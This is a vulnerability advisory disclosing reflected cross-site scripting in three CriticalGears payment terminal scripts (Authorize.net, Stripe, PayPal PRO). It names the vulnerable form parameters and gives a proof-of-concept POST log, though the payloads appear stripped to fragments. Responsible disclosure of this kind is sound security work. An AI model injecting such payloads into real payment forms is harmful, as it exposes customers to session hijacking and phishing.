Document Title: =============== Payment Terminal 2.x & v3.x - Multiple XSS Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2280 Release Date: ============= 2021-11-05 Vulnerability Laboratory ID (VL-ID): ==================================== 2280 Common Vulnerability Scoring System: ==================================== 5.2 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Quick and easy payment terminal as script for clients to pay for products and services. (Copy of the Homepage:https://www.criticalgears.com/product/authorize-net-payment-terminal/ ) (Copy of the Homepage:https://www.criticalgears.com/product/paypal-pro-payment-terminal/ ) (Copy of the Homepage:https://www.criticalgears.com/product/stripe-payment-terminal/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a cross site scripting vulnerability in the Authorize.net Payment Terminal v2.4.1. The vulnerability laboratory core research team discovered a cross site scripting vulnerability in the Stripe Payment Terminal v2.2.1. The vulnerability laboratory core research team discovered a cross site scripting vulnerability in the PayPal PRO Payment Terminal v3.1. Affected Product(s): ==================== CriticalGears Product: Authorize.net Payment Terminal 2.4.1 - Payment Formular Script (PHP) (Web-Application) Product: Stripe Payment Terminal v2.2.1 - Payment Formular Script (PHP) (Web-Application) Product: PayPal PRO Payment Terminal v3.1 - Payment Formular Script (PHP) (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-08-22: Researcher Notification & Coordination (Security Researcher) 2021-08-23: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2021-11-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ Multiple non-persistent cross site scripting web vulnerabilities has been discovered in the official Authorize.net Payment Terminal v2.4.1, the PayPal PRO Payment Terminal v3.1 and the Stripe Payment Terminal v2.2.1. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise client-site browser to web-application requests. The non-persistent cross site scripting web vulnerabilities are located in the `item_description`,`fname`,`lname`,`address`,`city`,`email` parameters of the `Billing Information` or `Payment Information` formular. Attackers are able to inject own malicious script code to the `Description`,`Firstname`, `Lastname`,`Address`,`City`,`Email` input fields to manipulate client-side requests. The request method to inject is post and the attack vector is non-persistent on client-side. In case the form is implemented to another web-service attackers are able to exploit the bug by triggering an execute of the script code in the invalid exception-handling. The PayPal PRO Payment Terminal v3.1 and Stripe Payment Terminal v2.2.1 impacts the same vulnerable script and is affected as well by the simple validation vulnerability. Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Billing Information [+] Payment Information Vulnerable Input(s): [+] Description [+] Firstname [+] Lastname [+] Address [+] City [+] Email Vulnerable Parameter(s): [+] item_description [+] fname [+] lname [+] address [+] city [+] email Affected Module(s): [+] Exception Handling (Invalid) Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerability can be exploited by remote attackers without account and with low or medium user interaction. For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue. Exploitation: Payload ">%20 ">%20 Vulnerable Source: Invalid (Exception-Handling - onkeyup checkFieldBack)

Payment Information

onkeyup="checkFieldBack(this);"
-

Billing Information

"> onkeyup="checkFieldBack(this);" />
onkeyup="checkFieldBack(this);" />
onkeyup="checkFieldBack(this);" />
onkeyup="checkFieldBack(this);" />
--- PoC Session Logs (POST) --- https://autherminal.localhost:8080/authorize-terminal/ Host: autherminal.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------317816260230756398612099882125 Content-Length: 3270 Origin:https://autherminal.localhost:8080 Connection: keep-alive Referer:https://autherminal.localhost:8080/authorize-terminal/ Cookie: PHPSESSID=952c12ca44f97e3b4056b731c7455a7c item_description=">&amount=1&fname="> &lname="> &address="> &city=">&country=US&state=-AU-NSW&zip=2411 &email=">&cctype=V&ccn=4111111111111&ccname=test&exp1=11&exp2=2022&cvv=123 &g-recaptcha-response=03AGdBq26Aocx9i3nRxaDSsQIyF0Avo9p1ozb5407foq4ywp7IEY1Y-q9g14tFgwjjkNItQMhnF &submit.x=50&submit.y=14&process=yes - POST: HTTP/3.0 200 OK content-type: text/html; charset=utf-8 vary: Accept-Encoding Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure restriction of the input in combination with a parse or escape of the content. After that the onkeyup checkFieldBack should be sanitized correctly to prevent script code executions for clients. Security Risk: ============== The security risk of the client-side cross site scripting vulnerability in the web-application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE